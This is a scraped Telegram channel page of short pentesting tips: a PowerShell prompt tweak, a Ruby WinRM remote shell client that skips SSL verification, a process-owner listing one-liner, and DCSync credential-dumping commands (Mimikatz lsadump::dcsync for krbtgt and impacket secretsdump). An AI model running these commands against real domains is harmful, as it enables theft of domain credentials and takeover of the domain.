Petruknisme's Feed
168 subscribers
55 photos
2 videos
11 files
1.15K links
This channel is dedicated for my blog feed and interesting resources that I think useful to share.

Topic: Reverse Engineering, Exploit Development, Hacking/Pentesting, Development or some random stuff

https://petruknisme.com

Contact: @petruknisme
Download Telegram
Windows Powershell Display Current Folder Name

- Check your Powershell profile file

PS /home/User/> $profile
/home/user/.config/powershell/Microsoft.PowerShell_profile.ps1


- Edit that file and add this function

function prompt {
$p = Split-Path -leaf -path (Get-Location)
"$p> "
}


- Run powershell again

PowerShell 6.2.4
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

User>
WinRM Ruby with SSL Certificate support.

$ cat winrm.rb

#!/usr/bin/ruby
require 'winrm'

# Author: Alamot

conn = WinRM::Connection.new(
endpoint: 'https://<IP-HOST-WINDOWS>:5986/wsman',
transport: :ssl,
client_cert: '/user/dir/cert.cer',
client_key: '/user/dir/private.key',
:no_ssl_peer_verification => true
)

command=""

conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end

Resource: https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb
How to run and detect DCSync.
https://yojimbosecurity.ninja/dcsync
Petruknisme's Feed
How to run and detect DCSync. https://yojimbosecurity.ninja/dcsync
How to Dsync Attack

- Local

Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt /domain:Win2016.local"'


- Remote using impacket

secretsdump.py -just-dc <user>:<password>@<ipaddress>
Learn Kubernetes using Interactive Browser Based
https://www.katacoda.com/courses/kubernetes
One-liner powershell to List All process and owners without Admin privilege.

powershell -version 2 -c " & {Get-WmiObject -Query "'Select * from Win32_Process'" | where {$_.Name -notlike "'svchost*'"} | Select Name, Handle, @{Label="'Owner'";Expression={$_.GetOwner().User}} | ft -AutoSize }"


-----------------------------SNIP--------------------
RemoteRegistry NT AUTHORITY\LocalService
RpcEptMapper NT AUTHORITY\NetworkService
RpcSs NT AUTHORITY\NetworkService
SamSs LocalSystem
Schedule LocalSystem
SENS LocalSystem
ShellHWDetection LocalSystem
Spooler LocalSystem
UxSms localSystem
vds LocalSystem
VGAuthService LocalSystem
VMTools LocalSystem